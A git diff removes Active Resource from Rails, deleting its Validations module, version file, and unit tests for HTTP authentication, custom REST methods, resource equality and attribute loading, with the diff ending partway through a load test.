-  # in the web service response. The module also adds an +errors+ collection that mimics the interface
-  # of the errors provided by ActiveRecord::Errors.
-  #
-  # ==== Example
-  #
-  # Consider a Person resource on the server requiring both a +first_name+ and a +last_name+ with a
-  # <tt>validates_presence_of :first_name, :last_name</tt> declaration in the model:
-  #
-  #   person = Person.new(:first_name => "Jim", :last_name => "")
-  #   person.save                   # => false (server returns an HTTP 422 status code and errors)
-  #   person.valid?                 # => false
-  #   person.errors.empty?          # => false
-  #   person.errors.count           # => 1
-  #   person.errors.full_messages   # => ["Last name can't be empty"]
-  #   person.errors[:last_name]  # => ["can't be empty"]
-  #   person.last_name = "Halpert"
-  #   person.save                   # => true (and person is now saved to the remote service)
-  #
-  module Validations
-    extend  ActiveSupport::Concern
-    include ActiveModel::Validations
-
-    included do
-      alias_method_chain :save, :validation
-    end
-
-    # Validate a resource and save (POST) it to the remote web service.
-    # If any local validations fail - the save (POST) will not be attempted.
-    def save_with_validation(options={})
-      perform_validation = options[:validate] != false
-
-      # clear the remote validations so they don't interfere with the local
-      # ones. Otherwise we get an endless loop and can never change the
-      # fields so as to make the resource valid.
-      @remote_errors = nil
-      if perform_validation && valid? || !perform_validation
-        save_without_validation
-        true
-      else
-        false
-      end
-    rescue ResourceInvalid => error
-      # cache the remote errors because every call to <tt>valid?</tt> clears
-      # all errors. We must keep a copy to add these back after local
-      # validations.
-      @remote_errors = error
-      load_remote_errors(@remote_errors, true)
-      false
-    end
-
-
-    # Loads the set of remote errors into the object's Errors based on the
-    # content-type of the error-block received.
-    def load_remote_errors(remote_errors, save_cache = false ) #:nodoc:
-      case self.class.format
-      when ActiveResource::Formats[:xml]
-        errors.from_xml(remote_errors.response.body, save_cache)
-      when ActiveResource::Formats[:json]
-        errors.from_json(remote_errors.response.body, save_cache)
-      end
-    end
-
-    # Checks for errors on an object (i.e., is resource.errors empty?).
-    #
-    # Runs all the specified local validations and returns true if no errors
-    # were added, otherwise false.
-    # Runs local validations (eg those on your Active Resource model), and
-    # also any errors returned from the remote system the last time we
-    # saved.
-    # Remote errors can only be cleared by trying to re-save the resource.
-    #
-    # ==== Examples
-    #   my_person = Person.create(params[:person])
-    #   my_person.valid?
-    #   # => true
-    #
-    #   my_person.errors.add('login', 'can not be empty') if my_person.login == ''
-    #   my_person.valid?
-    #   # => false
-    #
-    def valid?
-      super
-      load_remote_errors(@remote_errors, true) if defined?(@remote_errors) && @remote_errors.present?
-      errors.empty?
-    end
-
-    # Returns the Errors object that holds all information about attribute error messages.
-    def errors
-      @errors ||= Errors.new(self)
-    end
-  end
-end
diff --git a/activeresource/lib/active_resource/version.rb b/activeresource/lib/active_resource/version.rb
deleted file mode 100644
index d53374b261..0000000000
--- a/activeresource/lib/active_resource/version.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-module ActiveResource
-  module VERSION #:nodoc:
-    MAJOR = 3
-    MINOR = 2
-    TINY  = 0
-    PRE   = "beta"
-
-    STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.')
-  end
-end
diff --git a/activeresource/test/abstract_unit.rb b/activeresource/test/abstract_unit.rb
deleted file mode 100644
index 9c1e9a526d..0000000000
--- a/activeresource/test/abstract_unit.rb
+++ /dev/null
@@ -1,144 +0,0 @@
-require File.expand_path('../../../load_paths', __FILE__)
-
-lib = File.expand_path("#{File.dirname(__FILE__)}/../lib")
-$:.unshift(lib) unless $:.include?('lib') || $:.include?(lib)
-
-require 'test/unit'
-require 'active_resource'
-require 'active_support'
-require 'active_support/test_case'
-
-require 'setter_trap'
-
-require 'logger'
-ActiveResource::Base.logger = Logger.new("#{File.dirname(__FILE__)}/debug.log")
-
-def setup_response
-  matz_hash = { 'person' => { :id => 1, :name => 'Matz' } }
-
-  @default_request_headers = { 'Content-Type' => 'application/json' }
-  @matz  = matz_hash.to_json
-  @matz_xml  = matz_hash.to_xml
-  @david = { :person => { :id => 2, :name => 'David' } }.to_json
-  @greg  = { :person => { :id => 3, :name => 'Greg' } }.to_json
-  @addy  = { :address => { :id => 1, :street => '12345 Street', :country => 'Australia' } }.to_json
-  @rick  = { :person => { :name => "Rick", :age => 25 } }.to_json
-  @joe    = { :person => { :id => 6, :name => 'Joe', :likes_hats => true }}.to_json
-  @people = { :people => [ { :person => { :id => 1, :name => 'Matz' } }, { :person => { :id => 2, :name => 'David' } }] }.to_json
-  @people_david = { :people => [ { :person => { :id => 2, :name => 'David' } }] }.to_json
-  @addresses = { :addresses => [{ :address => { :id => 1, :street => '12345 Street', :country => 'Australia' } }] }.to_json
-
-  # - deep nested resource -
-  # - Luis (Customer)
-  #   - JK (Customer::Friend)
-  #     - Mateo (Customer::Friend::Brother)
-  #       - Edith (Customer::Friend::Brother::Child)
-  #       - Martha (Customer::Friend::Brother::Child)
-  #     - Felipe (Customer::Friend::Brother)
-  #       - Bryan (Customer::Friend::Brother::Child)
-  #       - Luke (Customer::Friend::Brother::Child)
-  #   - Eduardo (Customer::Friend)
-  #     - Sebas (Customer::Friend::Brother)
-  #       - Andres (Customer::Friend::Brother::Child)
-  #       - Jorge (Customer::Friend::Brother::Child)
-  #     - Elsa (Customer::Friend::Brother)
-  #       - Natacha (Customer::Friend::Brother::Child)
-  #     - Milena (Customer::Friend::Brother)
-  #
-  @luis = {
-    :customer => {
-      :id => 1,
-      :name => 'Luis',
-      :friends => [{
-        :name => 'JK',
-        :brothers => [
-          {
-            :name => 'Mateo',
-            :children => [{ :name => 'Edith' },{ :name => 'Martha' }]
-          }, {
-            :name => 'Felipe',
-            :children => [{ :name => 'Bryan' },{ :name => 'Luke' }]
-          }
-        ]
-      }, {
-        :name => 'Eduardo',
-        :brothers => [
-          {
-            :name => 'Sebas',
-            :children => [{ :name => 'Andres' },{ :name => 'Jorge' }]
-          }, {
-            :name => 'Elsa',
-            :children => [{ :name => 'Natacha' }]
-          }, {
-            :name => 'Milena',
-            :children => []
-          }
-        ]
-      }]
-    }
-  }.to_json
-  # - resource with yaml array of strings; for ARs using serialize :bar, Array
-  @marty = <<-eof.strip
-    <?xml version=\"1.0\" encoding=\"UTF-8\"?>
-    <person>
-      <id type=\"integer\">5</id>
-      <name>Marty</name>
-      <colors type=\"yaml\">---
-    - \"red\"
-    - \"green\"
-    - \"blue\"
-    </colors>
-    </person>
-  eof
-
-  @startup_sound = {
-    :sound => {
-      :name => "Mac Startup Sound", :author => { :name => "Jim Reekes" }
-    }
-  }.to_json
-
-  ActiveResource::HttpMock.respond_to do |mock|
-    mock.get    "/people/1.json",               {}, @matz
-    mock.get    "/people/1.xml",                {}, @matz_xml
-    mock.get    "/people/2.xml",                {}, @david
-    mock.get    "/people/5.xml",                {}, @marty
-    mock.get    "/people/Greg.json",            {}, @greg
-    mock.get    "/people/6.json",               {}, @joe
-    mock.get    "/people/4.json",               { 'key' => 'value' }, nil, 404
-    mock.put    "/people/1.json",               {}, nil, 204
-    mock.delete "/people/1.json",               {}, nil, 200
-    mock.delete "/people/2.xml",                {}, nil, 400
-    mock.get    "/people/99.json",              {}, nil, 404
-    mock.post   "/people.json",                 {}, @rick, 201, 'Location' => '/people/5.xml'
-    mock.get    "/people.json",                 {}, @people
-    mock.get    "/people/1/addresses.json",     {}, @addresses
-    mock.get    "/people/1/addresses/1.json",   {}, @addy
-    mock.get    "/people/1/addresses/2.xml",    {}, nil, 404
-    mock.get    "/people/2/addresses.json",     {}, nil, 404
-    mock.get    "/people/2/addresses/1.xml",    {}, nil, 404
-    mock.get    "/people/Greg/addresses/1.json", {}, @addy
-    mock.put    "/people/1/addresses/1.json",   {}, nil, 204
-    mock.delete "/people/1/addresses/1.json",   {}, nil, 200
-    mock.post   "/people/1/addresses.json",     {}, nil, 201, 'Location' => '/people/1/addresses/5'
-    mock.get    "/people/1/addresses/99.json",  {}, nil, 404
-    mock.get    "/people//addresses.xml",       {}, nil, 404
-    mock.get    "/people//addresses/1.xml",     {}, nil, 404
-    mock.put    "/people//addresses/1.xml",     {}, nil, 404
-    mock.delete "/people//addresses/1.xml",     {}, nil, 404
-    mock.post   "/people//addresses.xml",       {}, nil, 404
-    mock.head   "/people/1.json",               {}, nil, 200
-    mock.head   "/people/Greg.json",            {}, nil, 200
-    mock.head   "/people/99.json",              {}, nil, 404
-    mock.head   "/people/1/addresses/1.json",   {}, nil, 200
-    mock.head   "/people/1/addresses/2.json",   {}, nil, 404
-    mock.head   "/people/2/addresses/1.json",    {}, nil, 404
-    mock.head   "/people/Greg/addresses/1.json", {}, nil, 200
-    # customer
-    mock.get    "/customers/1.json",             {}, @luis
-    # sound
-    mock.get    "/sounds/1.json",                {}, @startup_sound
-  end
-
-  Person.user = nil
-  Person.password = nil
-end
diff --git a/activeresource/test/cases/authorization_test.rb b/activeresource/test/cases/authorization_test.rb
deleted file mode 100644
index 17cd9b30fc..0000000000
--- a/activeresource/test/cases/authorization_test.rb
+++ /dev/null
@@ -1,254 +0,0 @@
-require 'abstract_unit'
-
-class AuthorizationTest < Test::Unit::TestCase
-  Response = Struct.new(:code)
-
-  def setup
-    @conn = ActiveResource::Connection.new('http://localhost')
-    @matz  = { :person => { :id => 1, :name => 'Matz' } }.to_json
-    @david = { :person => { :id => 2, :name => 'David' } }.to_json
-    @authenticated_conn = ActiveResource::Connection.new("http://david:test123@localhost")
-    @basic_authorization_request_header = { 'Authorization' => 'Basic ZGF2aWQ6dGVzdDEyMw==' }
-
-    @nonce = "MTI0OTUxMzc4NzpjYWI3NDM3NDNmY2JmODU4ZjQ2ZjcwNGZkMTJiMjE0NA=="
-
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.get    "/people/2.json",           @basic_authorization_request_header, @david
-      mock.get    "/people/1.json",           @basic_authorization_request_header, nil, 401, { 'WWW-Authenticate' => 'i_should_be_ignored' }
-      mock.put    "/people/2.json",           @basic_authorization_request_header, nil, 204
-      mock.delete "/people/2.json",           @basic_authorization_request_header, nil, 200
-      mock.post   "/people/2/addresses.json", @basic_authorization_request_header, nil, 201, 'Location' => '/people/1/addresses/5'
-      mock.head   "/people/2.json",           @basic_authorization_request_header, nil, 200
-
-      mock.get    "/people/2.json",           { 'Authorization' => blank_digest_auth_header("/people/2.json", "fad396f6a34aeba28e28b9b96ddbb671") }, nil, 401, { 'WWW-Authenticate' => response_digest_auth_header }
-      mock.get    "/people/2.json",           { 'Authorization' => request_digest_auth_header("/people/2.json", "c064d5ba8891a25290c76c8c7d31fb7b") }, @david, 200
-      mock.get    "/people/1.json",           { 'Authorization' => request_digest_auth_header("/people/1.json", "f9c0b594257bb8422af4abd429c5bb70") }, @matz, 200
-
-      mock.put    "/people/2.json",           { 'Authorization' => blank_digest_auth_header("/people/2.json", "50a685d814f94665b9d160fbbaa3958a") }, nil, 401, { 'WWW-Authenticate' => response_digest_auth_header }
-      mock.put    "/people/2.json",           { 'Authorization' => request_digest_auth_header("/people/2.json", "5a75cde841122d8e0f20f8fd1f98a743") }, nil, 204
-
-      mock.delete "/people/2.json",           { 'Authorization' => blank_digest_auth_header("/people/2.json", "846f799107eab5ca4285b909ee299a33") }, nil, 401, { 'WWW-Authenticate' => response_digest_auth_header }
-      mock.delete "/people/2.json",           { 'Authorization' => request_digest_auth_header("/people/2.json", "9f5b155224edbbb69fd99d8ce094681e") }, nil, 200
-
-      mock.post   "/people/2/addresses.json", { 'Authorization' => blank_digest_auth_header("/people/2/addresses.json", "6984d405ff3d9ed07bbf747dcf16afb0") }, nil, 401, { 'WWW-Authenticate' => response_digest_auth_header }
-      mock.post   "/people/2/addresses.json", { 'Authorization' => request_digest_auth_header("/people/2/addresses.json", "4bda6a28dbf930b5af9244073623bd04") }, nil, 201, 'Location' => '/people/1/addresses/5'
-
-      mock.head   "/people/2.json",           { 'Authorization' => blank_digest_auth_header("/people/2.json", "15e5ed84ba5c4cfcd5c98a36c2e4f421") }, nil, 401, { 'WWW-Authenticate' => response_digest_auth_header }
-      mock.head   "/people/2.json",           { 'Authorization' => request_digest_auth_header("/people/2.json", "d4c6d2bcc8717abb2e2ccb8c49ee6a91") }, nil, 200
-    end
-
-    # Make client nonce deterministic
-    class << @authenticated_conn
-      private
-
-      def client_nonce
-        'i-am-a-client-nonce'
-      end
-    end
-  end
-
-  def test_authorization_header
-    authorization_header = @authenticated_conn.__send__(:authorization_header, :get, URI.parse('/people/2.json'))
-    assert_equal @basic_authorization_request_header['Authorization'], authorization_header['Authorization']
-    authorization = authorization_header["Authorization"].to_s.split
-
-    assert_equal "Basic", authorization[0]
-    assert_equal ["david", "test123"], ActiveSupport::Base64.decode64(authorization[1]).split(":")[0..1]
-  end
-
-  def test_authorization_header_with_username_but_no_password
-    @conn = ActiveResource::Connection.new("http://david:@localhost")
-    authorization_header = @conn.__send__(:authorization_header, :get, URI.parse('/people/2.json'))
-    authorization = authorization_header["Authorization"].to_s.split
-
-    assert_equal "Basic", authorization[0]
-    assert_equal ["david"], ActiveSupport::Base64.decode64(authorization[1]).split(":")[0..1]
-  end
-
-  def test_authorization_header_with_password_but_no_username
-    @conn = ActiveResource::Connection.new("http://:test123@localhost")
-    authorization_header = @conn.__send__(:authorization_header, :get, URI.parse('/people/2.json'))
-    authorization = authorization_header["Authorization"].to_s.split
-
-    assert_equal "Basic", authorization[0]
-    assert_equal ["", "test123"], ActiveSupport::Base64.decode64(authorization[1]).split(":")[0..1]
-  end
-
-  def test_authorization_header_with_decoded_credentials_from_url
-    @conn = ActiveResource::Connection.new("http://my%40email.com:%31%32%33@localhost")
-    authorization_header = @conn.__send__(:authorization_header, :get, URI.parse('/people/2.json'))
-    authorization = authorization_header["Authorization"].to_s.split
-
-    assert_equal "Basic", authorization[0]
-    assert_equal ["my@email.com", "123"], ActiveSupport::Base64.decode64(authorization[1]).split(":")[0..1]
-  end
-
-  def test_authorization_header_explicitly_setting_username_and_password
-    @authenticated_conn = ActiveResource::Connection.new("http://@localhost")
-    @authenticated_conn.user = 'david'
-    @authenticated_conn.password = 'test123'
-    authorization_header = @authenticated_conn.__send__(:authorization_header, :get, URI.parse('/people/2.json'))
-    assert_equal @basic_authorization_request_header['Authorization'], authorization_header['Authorization']
-    authorization = authorization_header["Authorization"].to_s.split
-
-    assert_equal "Basic", authorization[0]
-    assert_equal ["david", "test123"], ActiveSupport::Base64.decode64(authorization[1]).split(":")[0..1]
-  end
-
-  def test_authorization_header_explicitly_setting_username_but_no_password
-    @conn = ActiveResource::Connection.new("http://@localhost")
-    @conn.user = "david"
-    authorization_header = @conn.__send__(:authorization_header, :get, URI.parse('/people/2.json'))
-    authorization = authorization_header["Authorization"].to_s.split
-
-    assert_equal "Basic", authorization[0]
-    assert_equal ["david"], ActiveSupport::Base64.decode64(authorization[1]).split(":")[0..1]
-  end
-
-  def test_authorization_header_explicitly_setting_password_but_no_username
-    @conn = ActiveResource::Connection.new("http://@localhost")
-    @conn.password = "test123"
-    authorization_header = @conn.__send__(:authorization_header, :get, URI.parse('/people/2.json'))
-    authorization = authorization_header["Authorization"].to_s.split
-
-    assert_equal "Basic", authorization[0]
-    assert_equal ["", "test123"], ActiveSupport::Base64.decode64(authorization[1]).split(":")[0..1]
-  end
-
-  def test_authorization_header_if_credentials_supplied_and_auth_type_is_basic
-    @authenticated_conn.auth_type = :basic
-    authorization_header = @authenticated_conn.__send__(:authorization_header, :get, URI.parse('/people/2.json'))
-    assert_equal @basic_authorization_request_header['Authorization'], authorization_header['Authorization']
-    authorization = authorization_header["Authorization"].to_s.split
-
-    assert_equal "Basic", authorization[0]
-    assert_equal ["david", "test123"], ActiveSupport::Base64.decode64(authorization[1]).split(":")[0..1]
-  end
-
-  def test_authorization_header_if_credentials_supplied_and_auth_type_is_digest
-    @authenticated_conn.auth_type = :digest
-    authorization_header = @authenticated_conn.__send__(:authorization_header, :get, URI.parse('/people/2.json'))
-    assert_equal blank_digest_auth_header("/people/2.json", "fad396f6a34aeba28e28b9b96ddbb671"), authorization_header['Authorization']
-  end
-
-  def test_authorization_header_with_query_string_if_auth_type_is_digest
-    @authenticated_conn.auth_type = :digest
-    authorization_header = @authenticated_conn.__send__(:authorization_header, :get, URI.parse('/people/2.json?only=name'))
-    assert_equal blank_digest_auth_header("/people/2.json?only=name", "f8457b0b5d21b6b80737a386217afb24"), authorization_header['Authorization']
-  end
-
-  def test_get
-    david = decode(@authenticated_conn.get("/people/2.json"))
-    assert_equal "David", david["name"]
-  end
-
-  def test_post
-    response = @authenticated_conn.post("/people/2/addresses.json")
-    assert_equal "/people/1/addresses/5", response["Location"]
-  end
-
-  def test_put
-    response = @authenticated_conn.put("/people/2.json")
-    assert_equal 204, response.code
-  end
-
-  def test_delete
-    response = @authenticated_conn.delete("/people/2.json")
-    assert_equal 200, response.code
-  end
-
-  def test_head
-    response = @authenticated_conn.head("/people/2.json")
-    assert_equal 200, response.code
-  end
-
-  def test_get_with_digest_auth_handles_initial_401_response_and_retries
-    @authenticated_conn.auth_type = :digest
-    response = @authenticated_conn.get("/people/2.json")
-    assert_equal "David", decode(response)["name"]
-  end
-
-  def test_post_with_digest_auth_handles_initial_401_response_and_retries
-    @authenticated_conn.auth_type = :digest
-    response = @authenticated_conn.post("/people/2/addresses.json")
-    assert_equal "/people/1/addresses/5", response["Location"]
-    assert_equal 201, response.code
-  end
-
-  def test_put_with_digest_auth_handles_initial_401_response_and_retries
-     @authenticated_conn.auth_type = :digest
-     response = @authenticated_conn.put("/people/2.json")
-     assert_equal 204, response.code
-  end
-
-  def test_delete_with_digest_auth_handles_initial_401_response_and_retries
-    @authenticated_conn.auth_type = :digest
-    response = @authenticated_conn.delete("/people/2.json")
-    assert_equal 200, response.code
-  end
-
-  def test_head_with_digest_auth_handles_initial_401_response_and_retries
-    @authenticated_conn.auth_type = :digest
-    response = @authenticated_conn.head("/people/2.json")
-    assert_equal 200, response.code
-  end
-
-  def test_get_with_digest_auth_caches_nonce
-    @authenticated_conn.auth_type = :digest
-    response = @authenticated_conn.get("/people/2.json")
-    assert_equal "David", decode(response)["name"]
-
-    # There is no mock for this request with a non-cached nonce.
-    response = @authenticated_conn.get("/people/1.json")
-    assert_equal "Matz", decode(response)["name"]
-  end
-
-  def test_retry_on_401_only_happens_with_digest_auth
-    assert_raise(ActiveResource::UnauthorizedAccess) { @authenticated_conn.get("/people/1.json") }
-    assert_equal "", @authenticated_conn.send(:response_auth_header)
-  end
-
-  def test_raises_invalid_request_on_unauthorized_requests
-    assert_raise(ActiveResource::InvalidRequestError) { @conn.get("/people/2.json") }
-    assert_raise(ActiveResource::InvalidRequestError) { @conn.post("/people/2/addresses.json") }
-    assert_raise(ActiveResource::InvalidRequestError) { @conn.put("/people/2.json") }
-    assert_raise(ActiveResource::InvalidRequestError) { @conn.delete("/people/2.json") }
-    assert_raise(ActiveResource::InvalidRequestError) { @conn.head("/people/2.json") }
-  end
-
-  def test_raises_invalid_request_on_unauthorized_requests_with_digest_auth
-    @conn.auth_type = :digest
-    assert_raise(ActiveResource::InvalidRequestError) { @conn.get("/people/2.json") }
-    assert_raise(ActiveResource::InvalidRequestError) { @conn.post("/people/2/addresses.json") }
-    assert_raise(ActiveResource::InvalidRequestError) { @conn.put("/people/2.json") }
-    assert_raise(ActiveResource::InvalidRequestError) { @conn.delete("/people/2.json") }
-    assert_raise(ActiveResource::InvalidRequestError) { @conn.head("/people/2.json") }
-  end
-
-  def test_client_nonce_is_not_nil
-    assert_not_nil ActiveResource::Connection.new("http://david:test123@localhost").send(:client_nonce)
-  end
-
-  protected
-    def assert_response_raises(klass, code)
-      assert_raise(klass, "Expected response code #{code} to raise #{klass}") do
-        @conn.__send__(:handle_response, Response.new(code))
-      end
-    end
-
-    def blank_digest_auth_header(uri, response)
-      %Q(Digest username="david", realm="", qop="", uri="#{uri}", nonce="", nc="0", cnonce="i-am-a-client-nonce", opaque="", response="#{response}")
-    end
-
-    def request_digest_auth_header(uri, response)
-      %Q(Digest username="david", realm="RailsTestApp", qop="auth", uri="#{uri}", nonce="#{@nonce}", nc="0", cnonce="i-am-a-client-nonce", opaque="ef6dfb078ba22298d366f99567814ffb", response="#{response}")
-    end
-
-    def response_digest_auth_header
-      %Q(Digest realm="RailsTestApp", qop="auth", algorithm=MD5, nonce="#{@nonce}", opaque="ef6dfb078ba22298d366f99567814ffb")
-    end
-
-    def decode(response)
-      @authenticated_conn.format.decode(response.body)
-    end
-end
diff --git a/activeresource/test/cases/base/custom_methods_test.rb b/activeresource/test/cases/base/custom_methods_test.rb
deleted file mode 100644
index 3eaa9b1c5b..0000000000
--- a/activeresource/test/cases/base/custom_methods_test.rb
+++ /dev/null
@@ -1,101 +0,0 @@
-require 'abstract_unit'
-require 'fixtures/person'
-require 'fixtures/street_address'
-require 'active_support/core_ext/hash/conversions'
-
-class CustomMethodsTest < Test::Unit::TestCase
-  def setup
-    @matz  = { :person => { :id => 1, :name => 'Matz' } }.to_json
-    @matz_deep  = { :person => { :id => 1, :name => 'Matz', :other => 'other' } }.to_json
-    @matz_array = { :people => [{ :person => { :id => 1, :name => 'Matz' } }] }.to_json
-    @ryan  = { :person => { :name => 'Ryan' } }.to_json
-    @addy  = { :address => { :id => 1, :street => '12345 Street' } }.to_json
-    @addy_deep  = { :address => { :id => 1, :street => '12345 Street', :zip => "27519" } }.to_json
-
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.get    "/people/1.json",        {}, @matz
-      mock.get    "/people/1/shallow.json", {}, @matz
-      mock.get    "/people/1/deep.json", {}, @matz_deep
-      mock.get    "/people/retrieve.json?name=Matz", {}, @matz_array
-      mock.get    "/people/managers.json", {}, @matz_array
-      mock.post   "/people/hire.json?name=Matz", {}, nil, 201
-      mock.put    "/people/1/promote.json?position=Manager", {}, nil, 204
-      mock.put    "/people/promote.json?name=Matz", {}, nil, 204, {}
-      mock.put    "/people/sort.json?by=name", {}, nil, 204
-      mock.delete "/people/deactivate.json?name=Matz", {}, nil, 200
-      mock.delete "/people/1/deactivate.json", {}, nil, 200
-      mock.post   "/people/new/register.json",      {}, @ryan, 201, 'Location' => '/people/5.json'
-      mock.post   "/people/1/register.json", {}, @matz, 201
-      mock.get    "/people/1/addresses/1.json", {}, @addy
-      mock.get    "/people/1/addresses/1/deep.json", {}, @addy_deep
-      mock.put    "/people/1/addresses/1/normalize_phone.json?locale=US", {}, nil, 204
-      mock.put    "/people/1/addresses/sort.json?by=name", {}, nil, 204
-      mock.post   "/people/1/addresses/new/link.json", {}, { :address => { :street => '12345 Street' } }.to_json, 201, 'Location' => '/people/1/addresses/2.json'
-    end
-
-    Person.user = nil
-    Person.password = nil
-  end
-
-  def teardown
-    ActiveResource::HttpMock.reset!
-  end
-
-  def test_custom_collection_method
-    # GET
-    assert_equal([{ "id" => 1, "name" => 'Matz' }], Person.get(:retrieve, :name => 'Matz'))
-
-    # POST
-    assert_equal(ActiveResource::Response.new("", 201, {}), Person.post(:hire, :name => 'Matz'))
-
-    # PUT
-    assert_equal ActiveResource::Response.new("", 204, {}),
-                   Person.put(:promote, {:name => 'Matz'}, 'atestbody')
-    assert_equal ActiveResource::Response.new("", 204, {}), Person.put(:sort, :by => 'name')
-
-    # DELETE
-    Person.delete :deactivate, :name => 'Matz'
-
-    # Nested resource
-    assert_equal ActiveResource::Response.new("", 204, {}), StreetAddress.put(:sort, :person_id => 1, :by => 'name')
-  end
-
-  def test_custom_element_method
-    # Test GET against an element URL
-    assert_equal Person.find(1).get(:shallow), {"id" => 1, "name" => 'Matz'}
-    assert_equal Person.find(1).get(:deep), {"id" => 1, "name" => 'Matz', "other" => 'other'}
-
-    # Test PUT against an element URL
-    assert_equal ActiveResource::Response.new("", 204, {}), Person.find(1).put(:promote, {:position => 'Manager'}, 'body')
-
-    # Test DELETE against an element URL
-    assert_equal ActiveResource::Response.new("", 200, {}), Person.find(1).delete(:deactivate)
-
-    # With nested resources
-    assert_equal StreetAddress.find(1, :params => { :person_id => 1 }).get(:deep),
-                  { "id" => 1, "street" => '12345 Street', "zip" => "27519" }
-    assert_equal ActiveResource::Response.new("", 204, {}),
-                   StreetAddress.find(1, :params => { :person_id => 1 }).put(:normalize_phone, :locale => 'US')
-  end
-
-  def test_custom_new_element_method
-    # Test POST against a new element URL
-    ryan = Person.new(:name => 'Ryan')
-    assert_equal ActiveResource::Response.new(@ryan, 201, { 'Location' => '/people/5.json' }), ryan.post(:register)
-    expected_request = ActiveResource::Request.new(:post, '/people/new/register.json', @ryan)
-    assert_equal expected_request.body, ActiveResource::HttpMock.requests.first.body
-
-    # Test POST against a nested collection URL
-    addy = StreetAddress.new(:street => '123 Test Dr.', :person_id => 1)
-    assert_equal ActiveResource::Response.new({ :address => { :street => '12345 Street' } }.to_json,
-                   201, { 'Location' => '/people/1/addresses/2.json' }),
-                 addy.post(:link)
-
-    matz = Person.find(1)
-    assert_equal ActiveResource::Response.new(@matz, 201), matz.post(:register)
-  end
-
-  def test_find_custom_resources
-    assert_equal 'Matz', Person.find(:all, :from => :managers).first.name
-  end
-end
diff --git a/activeresource/test/cases/base/equality_test.rb b/activeresource/test/cases/base/equality_test.rb
deleted file mode 100644
index 84f1a7b998..0000000000
--- a/activeresource/test/cases/base/equality_test.rb
+++ /dev/null
@@ -1,52 +0,0 @@
-require 'abstract_unit'
-require "fixtures/person"
-require "fixtures/street_address"
-
-class BaseEqualityTest < Test::Unit::TestCase
-  def setup
-    @new = Person.new
-    @one = Person.new(:id => 1)
-    @two = Person.new(:id => 2)
-    @street = StreetAddress.new(:id => 2)
-  end
-
-  def test_should_equal_self
-    assert @new == @new, '@new == @new'
-    assert @one == @one, '@one == @one'
-  end
-
-  def test_shouldnt_equal_new_resource
-    assert @new != @one, '@new != @one'
-    assert @one != @new, '@one != @new'
-  end
-
-  def test_shouldnt_equal_different_class
-    assert @two != @street, 'person != street_address with same id'
-    assert @street != @two, 'street_address != person with same id'
-  end
-
-  def test_eql_should_alias_equals_operator
-    assert_equal @new == @new, @new.eql?(@new)
-    assert_equal @new == @one, @new.eql?(@one)
-
-    assert_equal @one == @one, @one.eql?(@one)
-    assert_equal @one == @new, @one.eql?(@new)
-
-    assert_equal @one == @street, @one.eql?(@street)
-  end
-
-  def test_hash_should_be_id_hash
-    [@new, @one, @two, @street].each do |resource|
-      assert_equal resource.id.hash, resource.hash
-    end
-  end
-
-	def test_with_prefix_options
-    assert_equal @one == @one, @one.eql?(@one)
-    assert_equal @one == @one.dup, @one.eql?(@one.dup)
-    new_one = @one.dup
-    new_one.prefix_options = {:foo => 'bar'}
-    assert_not_equal @one, new_one
-	end
-
-end
diff --git a/activeresource/test/cases/base/load_test.rb b/activeresource/test/cases/base/load_test.rb
deleted file mode 100644
index 784e7dd036..0000000000
--- a/activeresource/test/cases/base/load_test.rb
+++ /dev/null
@@ -1,199 +0,0 @@
-require 'abstract_unit'
-require "fixtures/person"
-require "fixtures/street_address"
-require 'active_support/core_ext/hash/conversions'
-
-module Highrise
-  class Note < ActiveResource::Base
-    self.site = "http://37s.sunrise.i:3000"
-  end
-
-  class Comment < ActiveResource::Base
-    self.site = "http://37s.sunrise.i:3000"
-  end
-
-  module Deeply
-    module Nested
-      class Note < ActiveResource::Base
-        self.site = "http://37s.sunrise.i:3000"
-      end
-
-      class Comment < ActiveResource::Base
-        self.site = "http://37s.sunrise.i:3000"
-      end
-
-      module TestDifferentLevels
-        class Note < ActiveResource::Base
-          self.site = "http://37s.sunrise.i:3000"
-        end
-      end
-    end
-  end
-end
-
-
-class BaseLoadTest < Test::Unit::TestCase
-  def setup
-    @matz  = { :id => 1, :name => 'Matz' }
-
-    @first_address = { :address => { :id => 1, :street => '12345 Street' } }
-    @addresses = [@first_address, { :address => { :id => 2, :street => '67890 Street' } }]
-    @addresses_from_json = { :street_addresses => @addresses }
-    @addresses_from_json_single = { :street_addresses => [ @first_address ] }
-
-    @deep  = { :id => 1, :street => {
-      :id => 1, :state => { :id => 1, :name => 'Oregon',
-        :notable_rivers => [
-          { :id => 1, :name => 'Willamette' },
-          { :id => 2, :name => 'Columbia', :rafted_by => @matz }],
-        :postal_codes => [ 97018, 1234567890 ],
-        :dates => [ Time.now ],
-        :votes => [ true, false, true ],
-        :places => [ "Columbia City", "Unknown" ]}}}
-
-
-    # List of books formated as [{timestamp_of_publication => name}, ...]
-    @books = {:books => [
-        {1009839600 => "Ruby in a Nutshell"},
-        {1199142000 => "The Ruby Programming Language"}
-      ]}
-
-    @books_date = {:books => [
-        {Time.at(1009839600) => "Ruby in a Nutshell"},
-        {Time.at(1199142000) => "The Ruby Programming Language"}
-    ]}
-    @person = Person.new
-  end
-
-  def test_load_hash_with_integers_as_keys
-    assert_nothing_raised{@person.load(@books)}
-  end
-
-  def test_load_hash_with_dates_as_keys
-    assert_nothing_raised{@person.load(@books_date)}
-  end
-
-  def test_load_expects_hash
-    assert_raise(ArgumentError) { @person.load nil }
-    assert_raise(ArgumentError) { @person.load '<person id="1"/>' }
-  end
-
-  def test_load_simple_hash
-    assert_equal Hash.new, @person.attributes
-    assert_equal @matz.stringify_keys, @person.load(@matz).attributes
-  end
-
-  def test_after_load_attributes_are_accessible
-    assert_equal Hash.new, @person.attributes
-    assert_equal @matz.stringify_keys, @person.load(@matz).attributes
-    assert_equal @matz[:name], @person.attributes['name']
-  end
-
-  def test_after_load_attributes_are_accessible_via_indifferent_access
-    assert_equal Hash.new, @person.attributes
-    assert_equal @matz.stringify_keys, @person.load(@matz).attributes
-    assert_equal @matz[:name], @person.attributes['name']
-    assert_equal @matz[:name], @person.attributes[:name]
-  end
-
-  def test_load_one_with_existing_resource
-    address = @person.load(:street_address => @first_address.values.first).street_address
-    assert_kind_of StreetAddress, address
-    assert_equal @first_address.values.first.stringify_keys, address.attributes
-  end
-
-  def test_load_one_with_unknown_resource
-    address = silence_warnings { @person.load(@first_address).address }
-    assert_kind_of Person::Address, address
